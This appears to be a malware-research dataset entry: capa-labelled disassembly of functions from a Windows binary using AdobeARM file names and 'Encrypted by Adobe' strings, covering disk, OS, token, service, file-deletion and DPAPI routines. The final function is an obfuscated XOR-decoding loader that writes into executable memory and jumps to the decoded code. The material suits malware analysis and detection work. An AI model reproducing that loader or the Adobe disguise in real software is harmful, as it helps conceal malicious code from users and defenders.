joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42a6a9
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x3a8]
sub esp, 0x428
mov eax, dword [0x497d50]
xor eax, ebp
mov dword [ebp + 0x3a4], eax
push esi
push edi
xor eax, eax
mov esi, 0x208
push esi
mov word [ebp - 0x74], ax
xor edi, edi
lea eax, [ebp - 0x72]
push edi
push eax
call fcn.00445f90
xor eax, eax
push esi
mov word [ebp + 0x198], ax
lea eax, [ebp + 0x19a]
push edi
push eax
call fcn.00445f90
add esp, 0x18
mov eax, 0x105
push eax
lea ecx, [ebp + 0x198]
push ecx
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
lea eax, [ebp - 0x74]
push eax
push 0x485960
mov dword [ebp - 0x78], edi
mov dword [ebp - 0x7c], edi
mov dword [ebp - 0x80], edi
call dword [sym.imp.kernel32.dll_GetVolumeInformationW]
mov esi, 0x104
test eax, eax
je 0x42a742
push 0xa
push esi
push ebx
push dword [ebp - 0x78]
call main
add esp, 0x10
push ebx
call dword [sym.imp.kernel32.dll_lstrlenW]
cmp eax, 0x10
jge 0x42a75c
push str.thsnYaViMRAeBoda
mov eax, esi
mov ecx, ebx
call fcn.004126d1
mov ecx, dword [ebp + 0x3a4]
pop edi
xor ecx, ebp
pop esi
call fcn.00445157
add ebp, 0x3a8
leave
ret

Function at 0x42e535
Capabilities:
Check os version

Disassembly:
push 0x12c
mov eax, 0x45dd3d
call fcn.00447dc4
mov esi, 0x11c
push esi
xor ebx, ebx
lea eax, [ebp - 0x130]
push ebx
push eax
xor edi, edi
call fcn.00445f90
add esp, 0xc
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], esi
mov esi, dword [sym.imp.kernel32.dll_GetVersionExW]
push eax
call esi
cmp eax, ebx
jne 0x42e58e
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x130], 0x114
call esi
cmp eax, ebx
je 0x42e59a
cmp dword [ebp - 0x12c], 6
jb 0x42e59a
xor edi, edi
inc edi
cmp byte [0x49cd21], bl
jne 0x42e60e
cmp edi, ebx
je 0x42e5d0
push str.IsVistaOrLater_returns_1
lea ecx, [ebp - 0x138]
call fcn.00402060
push ebx
lea eax, [ebp - 0x138]
push eax
push 2
mov dword [ebp - 4], ebx
call fcn.00411fad
mov ecx, dword [ebp - 0x138]
jmp 0x42e5fc
push str.IsVistaOrLater_returns_0
lea ecx, [ebp - 0x134]
call fcn.00402060
push ebx
lea eax, [ebp - 0x134]
push eax
push 2
mov dword [ebp - 4], 1
call fcn.00411fad
mov ecx, dword [ebp - 0x134]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
mov byte [0x49cd21], 1
mov eax, edi
call fcn.00447e47
ret

Function at 0x42e616
Capabilities:
Check os version

Disassembly:
push 0x12c
mov eax, 0x45dcff
call fcn.00447dc4
mov esi, 0x11c
push esi
lea eax, [ebp - 0x130]
push 0
push eax
call fcn.00445f90
add esp, 0xc
lea eax, [ebp - 0x130]
mov dword [ebp - 0x130], esi
mov esi, dword [sym.imp.kernel32.dll_GetVersionExW]
push eax
call esi
test eax, eax
jne 0x42e66c
lea eax, [ebp - 0x130]
push eax
mov dword [ebp - 0x130], 0x114
call esi
test eax, eax
je 0x42e6af
cmp dword [ebp - 0x12c], 5
jne 0x42e6af
push str.IsXP_returns_1
lea ecx, [ebp - 0x134]
call fcn.00402060
and dword [ebp - 4], 0
push 0
lea eax, [ebp - 0x134]
push eax
push 2
call fcn.00411fad
mov ecx, dword [ebp - 0x134]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
xor eax, eax
inc eax
jmp 0x42e6b1
xor eax, eax
call fcn.00447e47
ret
Function at 0x42edac
Capabilities:
Check os version
Get token membership

Disassembly:
push ebp
lea ebp, [esp - 0xf4]
sub esp, 0x174
mov eax, dword [0x497d50]
xor eax, ebp
mov dword [ebp + 0xf0], eax
push esi
push edi
lea eax, [ebp - 0x6c]
push eax
xor edi, edi
push 1
push 0xa
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x70], edi
mov dword [ebp - 0x6c], edi
call dword [sym.imp.kernel32.dll_GetCurrentThread]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenThreadToken]
test eax, eax
jne 0x42ee08
lea eax, [ebp - 0x6c]
push eax
push 0xa
call dword [sym.imp.kernel32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x42eeac
lea eax, [ebp - 0x68]
push eax
mov dword [ebp - 0x68], 0x114
call dword [sym.imp.kernel32.dll_GetVersionExW]
test eax, eax
je 0x42eeac
cmp dword [ebp - 0x64], 6
jb 0x42ee5d
mov esi, dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
lea eax, [ebp - 0x7c]
push eax
push 4
lea eax, [ebp - 0x78]
push eax
push 0x12
push dword [ebp - 0x6c]
call esi
test eax, eax
je 0x42eeac
cmp dword [ebp - 0x78], 3
jne 0x42ee5d
lea eax, [ebp - 0x7c]
push eax
push 4
lea eax, [ebp - 0x70]
push eax
push 0x13
push dword [ebp - 0x6c]
call esi
test eax, eax
je 0x42eeac
cmp dword [ebp - 0x70], edi
jne 0x42ee75
lea eax, [ebp - 0x70]
push eax
push 1
push dword [ebp - 0x6c]
call dword [sym.imp.ADVAPI32.dll_DuplicateToken]
test eax, eax
je 0x42eeac
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 0xac]
push eax
push edi
push 0x1a
mov dword [ebp - 0x80], 0x44
call dword [sym.imp.ADVAPI32.dll_CreateWellKnownSid]
test eax, eax
je 0x42eeac
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp + 0xac]
push eax
push dword [ebp - 0x70]
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x42eeb2
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, dword [sym.imp.kernel32.dll_CloseHandle]
cmp dword [ebp - 0x6c], edi
je 0x42eec5
push dword [ebp - 0x6c]
call esi
mov dword [ebp - 0x6c], edi
cmp dword [ebp - 0x70], edi
je 0x42eecf
push dword [ebp - 0x70]
call esi
mov ecx, dword [ebp + 0xf0]
mov eax, dword [ebp - 0x74]
pop edi
xor ecx, ebp
pop esi
call fcn.00445157
add ebp, 0xf4
leave
ret
Function at 0x42efd8
Capabilities:
Get common file path

Disassembly:
push 8
mov eax, 0x45dc7a
call fcn.00447d5b
call fcn.00434582
push eax
lea ecx, [ebp - 0x10]
call fcn.0040210b
xor esi, esi
push 0x104
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], esi
call fcn.004023e8
push eax
push esi
push esi
push 0x2b
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
mov edi, eax
call fcn.0040c50a
cmp edi, esi
jne 0x42f049
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
call fcn.00409158
mov ecx, dword [ebp + 8]
push str.AdobeARM1.0AdobeARM.exe
call fcn.00409019
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040253e
xor eax, eax
inc eax
jmp 0x42f083
push str.SHGetFolderPath_in_GetCurrentExePath_failed:
lea ecx, [ebp - 0x14]
call fcn.00402060
push edi
lea eax, [ebp - 0x14]
push eax
push 1
mov byte [ebp - 4], 1
call fcn.00411fad
mov ecx, dword [ebp - 0x14]
add esp, 0xc
add ecx, 0xfffffff0
mov esi, eax
call fcn.0040253e
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040253e
mov eax, esi
call fcn.00447e33
ret

Function at 0x42f089
Capabilities:
Get common file path

Disassembly:
push 0x218
mov eax, 0x45dc42
call fcn.00447dc4
xor esi, esi
cmp dword [ebp + 8], esi
je 0x42f0b2
push 0x49c560
mov ecx, edi
call fcn.00409158
push 0x469efc
jmp 0x42f0fb
xor eax, eax
push 0x206
mov word [ebp - 0x21c], ax
lea eax, [ebp - 0x21a]
push esi
push eax
call fcn.00445f90
add esp, 0xc
lea eax, [ebp - 0x21c]
push eax
push esi
push esi
push 0x2b
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, eax
cmp ebx, esi
jne 0x42f15f
lea eax, [ebp - 0x21c]
push eax
mov ecx, edi
call fcn.004020d4
push str.AdobeARM1.0_
mov ecx, edi
call fcn.00409019
push 0x49c434
mov ecx, edi
call fcn.00401e6a
mov esi, dword [edi]
or ebx, 0xffffffff
call main
test eax, eax
jne 0x42f15a
push edi
lea eax, [ebp - 0x224]
push str.Not_found_or_not_valid:
push eax
call fcn.00401dd1
add esp, 0xc
mov esi, eax
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
push esi
push 0x1fc98
mov ecx, eax
mov edx, 0x49ccc0
call fcn.0041042c
mov ecx, dword [ebp - 0x224]
jmp 0x42f18a
xor eax, eax
inc eax
jmp 0x42f194
push str.SHGetFolderPath_in_GetLauncherPath_failed:
lea ecx, [ebp - 0x220]
call fcn.00402060
push ebx
lea eax, [ebp - 0x220]
push eax
push 1
mov dword [ebp - 4], esi
call fcn.00411fad
mov ecx, dword [ebp - 0x220]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
xor eax, eax
call fcn.00447e47
ret
Function at 0x42f19a
Capabilities:
Get file version info

Disassembly:
push 0x18
mov eax, 0x45dc11
call fcn.00447d5b
cmp dword [ebp + 0x10], 0
je 0x42f1df
push str.GetFileVersion__:
lea ecx, [ebp - 0x10]
call fcn.00402060
and dword [ebp - 4], 0
push 0
push dword [ebp + 8]
lea eax, [ebp - 0x10]
push eax
push 2
call fcn.00411b27
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
add esp, 0x10
add ecx, 0xfffffff0
call fcn.0040253e
mov eax, dword [ebp + 8]
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call sub.version.dll_GetFileVersionInfoSizeW
mov dword [ebp - 0x14], eax
test eax, eax
je 0x42f330
push eax
call main
pop ecx
mov dword [ebp - 0x10], eax
push dword [ebp - 0x10]
mov eax, dword [ebp + 8]
push dword [ebp - 0x14]
mov eax, dword [eax]
push 0
push eax
call sub.version.dll_GetFileVersionInfoW
test eax, eax
je 0x42f2f0
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x18]
push eax
push 0x469efc
push dword [ebp - 0x10]
call sub.version.dll_VerQueryValueW
cmp eax, 1
jne 0x42f2d4
mov eax, dword [ebp - 0x18]
movzx ecx, word [eax + 0xa]
mov edx, dword [ebp + 0xc]
push dword [ebp - 0x10]
mov dword [edx], ecx
movzx ecx, word [eax + 8]
mov dword [ebx], ecx
movzx ecx, word [eax + 0xe]
mov dword [edi], ecx
movzx eax, word [eax + 0xc]
mov dword [esi], eax
call main
cmp dword [ebp + 0x10], 0
pop ecx
je 0x42f2cc
call fcn.00434582
push eax
lea ecx, [ebp + 0x10]
call fcn.0040210b
push str.File_version:__1_u_._2_u_._3_u_._4_u_
lea ecx, [ebp + 8]
mov dword [ebp - 4], 1
call fcn.00402060
mov eax, dword [ebp + 0xc]
mov byte [ebp - 4], 2
push dword [esi]
push dword [edi]
push dword [ebx]
push dword [eax]
lea eax, [ebp + 0x10]
push dword [ebp + 8]
push eax
call main
push 0
lea eax, [ebp + 0x10]
push eax
push 2
call fcn.00411fad
mov ecx, dword [ebp + 8]
add esp, 0x24
add ecx, 0xfffffff0
call fcn.0040253e
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.0040253e
xor eax, eax
inc eax
jmp 0x42f367
cmp dword [ebp + 0x10], 0
je 0x42f325
push str.VerQueryValue___failed_in_GetFileVersion__.
lea ecx, [ebp + 0x10]
call fcn.00402060
mov dword [ebp - 4], 3
jmp 0x42f30a
cmp dword [ebp + 0x10], 0
je 0x42f325
push str.GetFileVersionInfo___failed_in_GetFileVersion__.
lea ecx, [ebp + 0x10]
call fcn.00402060
mov dword [ebp - 4], 4
push 0
lea eax, [ebp + 0x10]
push eax
push 1
call fcn.00411fad
mov ecx, dword [ebp + 0x10]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
push dword [ebp - 0x10]
call main
pop ecx
jmp 0x42f365
cmp dword [ebp + 0x10], 0
je 0x42f365
push str.GetFileVersionInfoSize___failed_in_GetFileVersion__.
lea ecx, [ebp - 0x14]
call fcn.00402060
push 0
lea eax, [ebp - 0x14]
push eax
push 1
mov dword [ebp - 4], 5
call fcn.00411fad
mov ecx, dword [ebp - 0x14]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
xor eax, eax
call fcn.00447e33
ret
Function at 0x431c24
Capabilities:
Query service status

Disassembly:
push 0x34
mov eax, 0x45d78a
call fcn.00447d5b
push 4
xor edi, edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov esi, 0x2722c
mov dword [ebp - 0x18], eax
cmp dword [0x49ccc8], esi
je 0x431d2c
cmp eax, edi
je 0x431d2c
push 4
push str.MSIServer
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
add esi, 0x64
mov ebx, eax
cmp dword [0x49ccc8], esi
je 0x431ceb
cmp ebx, edi
je 0x431ceb
lea eax, [ebp - 0x1c]
push eax
push 0x24
lea eax, [ebp - 0x40]
push eax
push edi
push ebx
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov esi, 0x27164
cmp dword [0x49ccc8], esi
je 0x431ca3
cmp eax, edi
je 0x431ca3
cmp dword [ebp - 0x38], 4
jne 0x431cd9
inc edi
jmp 0x431cd9
push 0x488f3c
lea ecx, [ebp - 0x10]
call fcn.00402060
mov dword [ebp - 4], 2
call dword [sym.imp.kernel32.dll_GetLastError]
lea ecx, [ebp - 0x10]
push ecx
push esi
mov ecx, eax
mov edx, 0x49ccc0
call fcn.0041042c
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.0040253e
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call esi
push dword [ebp - 0x18]
call esi
mov eax, edi
jmp 0x431d60
push str.OpenSCManager_failed:
lea ecx, [ebp - 0x14]
call fcn.00402060
mov dword [ebp - 4], 1
call dword [sym.imp.kernel32.dll_GetLastError]
lea ecx, [ebp - 0x14]
push ecx
push esi
mov ecx, eax
mov edx, 0x49ccc0
call fcn.0041042c
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.0040253e
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x431d5e
push str.OpenSCManager_failed:
lea ecx, [ebp - 0x18]
call fcn.00402060
mov dword [ebp - 4], edi
call dword [sym.imp.kernel32.dll_GetLastError]
lea ecx, [ebp - 0x18]
push ecx
push esi
mov ecx, eax
mov edx, 0x49ccc0
call fcn.0041042c
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040253e
xor eax, eax
call fcn.00447e33
ret
Function at 0x43267a
Capabilities:
Check if file exists
Delete directory
Set file attributes

Disassembly:
push 0x28
mov eax, 0x45d6c6
call fcn.00447d5b
and dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
mov eax, dword [ecx - 0xc]
test eax, eax
je 0x4327da
cmp eax, 4
jb 0x4327da
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x14]
call fcn.004020a4
push 0x5c
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.0040a4e4
cmp eax, 0xffffffff
je 0x4326f4
mov ecx, dword [ebp - 0x14]
mov ecx, dword [ecx - 0xc]
dec ecx
cmp eax, ecx
jne 0x4326f4
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x14]
call main
push eax
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00409158
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040253e
push 0x47e4c4
lea ecx, [ebp - 0x14]
call fcn.00409019
lea ecx, [ebp - 0x34]
call fcn.00440a22
mov byte [ebp - 4], 3
mov edi, dword [ebp - 0x14]
push 0
push edi
lea ecx, [ebp - 0x34]
call main
test eax, eax
je 0x432786
lea ecx, [ebp - 0x34]
call fcn.004407b7
lea ecx, [ebp - 0x34]
mov ebx, eax
call fcn.004409e3
test eax, eax
jne 0x432782
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x34]
call fcn.00440ce7
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x34]
push 0x10
lea ecx, [ebp - 0x34]
call dword [eax + 0x38]
test eax, eax
je 0x43276b
push ecx
lea eax, [ebp - 0x18]
mov dword [ebp - 0x1c], esp
mov ecx, esp
push eax
call fcn.004020a4
call fcn.0043267a
pop ecx
jmp 0x432773
lea esi, [ebp - 0x18]
call fcn.004327e8
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x18]
add ecx, 0xfffffff0
call fcn.0040253e
test ebx, ebx
jne 0x43271f
lea ecx, [ebp - 0x34]
call fcn.004406d1
push 0x80
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
push dword [ebp + 8]
call dword [sym.imp.kernel32.dll_RemoveDirectoryW]
test eax, eax
jne 0x4327c3
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x4327c3
push eax
lea eax, [ebp + 8]
push eax
push 2
call fcn.00411fad
add esp, 0xc
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 1
call fcn.00440a4b
lea ecx, [edi - 0x10]
call fcn.0040253e
mov ecx, dword [ebp + 8]
add ecx, 0xfffffff0
call fcn.0040253e
call fcn.00447e33
ret

Function at 0x4327e8
Capabilities:
Check if file exists
Delete file
Set file attributes

Disassembly:
push ecx
mov eax, esi
call fcn.00401000
test eax, eax
je 0x432824
push 0x80
push dword [esi]
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
push dword [esi]
call dword [sym.imp.kernel32.dll_DeleteFileW]
test eax, eax
jne 0x432824
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
je 0x432824
push eax
push esi
push 2
call fcn.00411fad
add esp, 0xc
pop ecx
ret
Function at 0x4329f8
Capabilities:
Reference sql statements

Disassembly:
push 0x10
mov eax, 0x45d615
call fcn.00447d5b
call fcn.00434582
push eax
lea ecx, [ebp - 0x18]
call fcn.0040210b
xor esi, esi
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x14], esi
mov ecx, dword [ebp + 0x10]
push 0x469234
mov byte [ebp - 4], 2
call fcn.004090c8
mov eax, dword [ebp + 0xc]
push dword [eax]
lea eax, [ebp - 0x18]
push str.SELECT_Value_FROM_Property_WHERE_Property.Property_s
push eax
call fcn.0040202c
add esp, 0xc
cmp dword [ebp - 0x10], esi
je 0x432a51
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov ebx, dword [ebp - 0x18]
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x10], esi
call sub.msi.dll_MsiEnumClientsA
mov edi, eax
cmp edi, esi
je 0x432abf
push str.MsiDatabaseOpenView__
lea ecx, [ebp + 0xc]
call fcn.00402060
mov byte [ebp - 4], 3
push edi
lea eax, [ebp + 0xc]
push eax
push 2
call fcn.00411fad
mov ecx, dword [ebp + 0xc]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
cmp dword [ebp - 0x14], esi
je 0x432aa2
push dword [ebp - 0x14]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
cmp dword [ebp - 0x10], esi
je 0x432aaf
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
lea ecx, [ebx - 0x10]
call fcn.0040253e
mov eax, edi
call fcn.00447e33
ret
push esi
push dword [ebp - 0x10]
call sub.msi.dll_MsiViewModify
mov edi, eax
cmp edi, esi
je 0x432ae1
push str.MsiViewExecute__
lea ecx, [ebp + 0xc]
call fcn.00402060
mov byte [ebp - 4], 4
jmp 0x432a7b
cmp dword [ebp - 0x14], esi
je 0x432aee
push dword [ebp - 0x14]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x14], esi
call sub.msi.dll_MsiDatabaseIsTablePersistentA
mov edi, eax
cmp edi, esi
jne 0x432a95
push dword [ebp + 0x10]
push 1
push dword [ebp - 0x14]
call main
mov edi, eax
add esp, 0xc
cmp edi, esi
je 0x432b6f
push str.MsiGetRecordString__
lea ecx, [ebp + 0xc]
call fcn.00402060
push edi
lea eax, [ebp + 0xc]
push eax
push 2
mov byte [ebp - 4], 5
call fcn.00411fad
mov ecx, dword [ebp + 0xc]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
cmp dword [ebp - 0x14], esi
je 0x432b51
push dword [ebp - 0x14]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
cmp dword [ebp - 0x10], esi
je 0x432b5e
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
mov esi, edi
lea ecx, [ebx - 0x10]
call fcn.0040253e
mov eax, esi
jmp 0x432ab9
cmp dword [ebp - 0x14], esi
je 0x432b7c
push dword [ebp - 0x14]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
cmp dword [ebp - 0x10], esi
je 0x432b60
push dword [ebp - 0x10]
call sub.msi.dll_MsiConfigureFeatureFromDescriptorA
jmp 0x432b60
Function at 0x432e6d
Capabilities:
Get disk information

Disassembly:
push ebp
lea ebp, [esp - 0x3a8]
sub esp, 0x428
mov eax, dword [0x497d50]
xor eax, ebp
mov dword [ebp + 0x3a4], eax
push ebx
push esi
xor eax, eax
mov esi, 0x208
push esi
mov word [ebp - 0x74], ax
xor ebx, ebx
lea eax, [ebp - 0x72]
push ebx
push eax
call fcn.00445f90
xor eax, eax
push esi
mov word [ebp + 0x198], ax
lea eax, [ebp + 0x19a]
push ebx
push eax
call fcn.00445f90
add esp, 0x18
mov eax, 0x105
push eax
lea ecx, [ebp + 0x198]
push ecx
lea ecx, [ebp - 0x80]
push ecx
lea ecx, [ebp - 0x7c]
push ecx
lea ecx, [ebp - 0x78]
push ecx
push eax
lea eax, [ebp - 0x74]
push eax
push 0x485960
mov dword [ebp - 0x78], ebx
mov dword [ebp - 0x7c], ebx
mov dword [ebp - 0x80], ebx
call dword [sym.imp.kernel32.dll_GetVolumeInformationW]
test eax, eax
je 0x432f1d
mov eax, dword [ebp - 0x78]
xor ecx, ecx
cmp ecx, 0x103
je 0x432f17
xor edx, edx
push 0xa
pop esi
div esi
mov dx, word [edx*2 + str.0123456789]
mov word [edi + ecx*2], dx
inc ecx
cmp eax, ebx
ja 0x432ef7
xor eax, eax
mov word [edi + ecx*2], ax
push edi
call dword [sym.imp.kernel32.dll_lstrlenW]
cmp eax, 0x10
pop esi
pop ebx
jge 0x432f3c
push str.thsnYaVieBoda
mov eax, 0x104
mov ecx, edi
call fcn.004126d1
mov ecx, dword [ebp + 0x3a4]
xor ecx, ebp
call fcn.00445157
add ebp, 0x3a8
leave
ret
Function at 0x432f51
Capabilities:
Encrypt data using dpapi

Disassembly:
push 0x3c
mov eax, 0x45d561
call fcn.00447dc4
mov esi, edx
mov dword [ebp - 0x38], ecx
xor ebx, ebx
call fcn.004022d0
push 8
lea eax, [ebp - 0x48]
push ebx
push eax
call fcn.00445f90
add esp, 0xc
push 8
lea eax, [ebp - 0x30]
push ebx
push eax
call fcn.00445f90
add esp, 0xc
push 8
lea eax, [ebp - 0x40]
push ebx
push eax
call fcn.00445f90
add esp, 0xc
push esi
lea ecx, [ebp - 0x28]
call fcn.004020a4
lea ecx, [ebp - 0x28]
mov dword [ebp - 4], ebx
call fcn.004103ed
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [eax - 0xc]
lea eax, [eax + eax + 2]
mov ecx, 0x49c450
mov dword [ebp - 0x48], eax
call fcn.004103ed
mov dword [ebp - 0x3c], eax
mov eax, dword [0x49c450]
mov eax, dword [eax - 0xc]
shr eax, 1
inc eax
mov dword [ebp - 0x40], eax
lea eax, [ebp - 0x30]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x40]
push eax
push str.Encrypted_by_Adobe.
lea eax, [ebp - 0x48]
push eax
call dword [sym.imp.CRYPT32.dll_CryptProtectData]
test eax, eax
je 0x43304b
mov esi, str.0123456789ABCDEF
lea edi, [ebp - 0x24]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor esi, esi
cmp dword [ebp - 0x30], ebx
jbe 0x43303d
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + esi]
mov ecx, dword [ebp - 0x38]
shr eax, 4
movzx eax, byte [ebp + eax - 0x24]
push eax
call fcn.00433ff7
mov eax, dword [ebp - 0x2c]
movzx eax, byte [eax + esi]
mov ecx, dword [ebp - 0x38]
and eax, 0xf
movzx eax, byte [ebp + eax - 0x24]
push eax
call fcn.00433ff7
inc esi
cmp esi, dword [ebp - 0x30]
jb 0x433007
push dword [ebp - 0x2c]
xor ebx, ebx
inc ebx
call dword [sym.imp.kernel32.dll_LocalFree]
jmp 0x433079
push str.Encryption_failed.
lea ecx, [ebp - 0x34]
call fcn.00402060
push ebx
lea eax, [ebp - 0x34]
push eax
push 1
mov byte [ebp - 4], 1
call fcn.00411fad
mov byte [ebp - 4], bl
mov ecx, dword [ebp - 0x34]
add esp, 0xc
add ecx, 0xfffffff0
call fcn.0040253e
push 0xffffffffffffffff
lea ecx, [ebp - 0x28]
call fcn.0040c50a
push 0xffffffffffffffff
mov ecx, 0x49c450
call fcn.0040c50a
mov ecx, dword [ebp - 0x28]
add ecx, 0xfffffff0
call fcn.0040253e
mov eax, ebx
call fcn.00447e47
ret
Function at 0x440063
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x440087
cmp dword [edi + 0x54], 0
jne 0x440087
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00438e9f
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.kernel32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call main
push ebx
mov esi, eax
call dword [sym.imp.kernel32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x445157
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x497d50]
jne 0x445161
repz ret
jmp fcn.0044cc7d

Function at 0x451118
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x451127
pop dword [ebp - 0x50]
mov eax, 0x451127
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x4339f
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0x3efe
mov esi, eax
mov edx, 0x49de7c36
add edx, 0xb6717bca
add edx, dword [ebp - 0x50]
mov edi, 0xf732f870
sub dword [ebp - 0x44], 0x9978f1f6
mov ebx, dword [edx]
sub dword [ebp - 0x24], 0xbb6b46c9
xor ebx, edi
sub dword [ebp - 0x44], edi
mov dword [esi], ebx
xor dword [ebp - 0x4c], ecx
add esi, 0x6ac1f330
sub esi, 0x6ac1f32c
add edx, 4
loop 0x451170
add eax, 0xa308701b
add eax, 0x5cf87eb0
mov ebx, eax
add eax, 0xf3734c94
sub eax, 0xf3734c8f
mov ecx, 0x400000
add ecx, dword [ebp - 0x50]
call ebx
leave
ret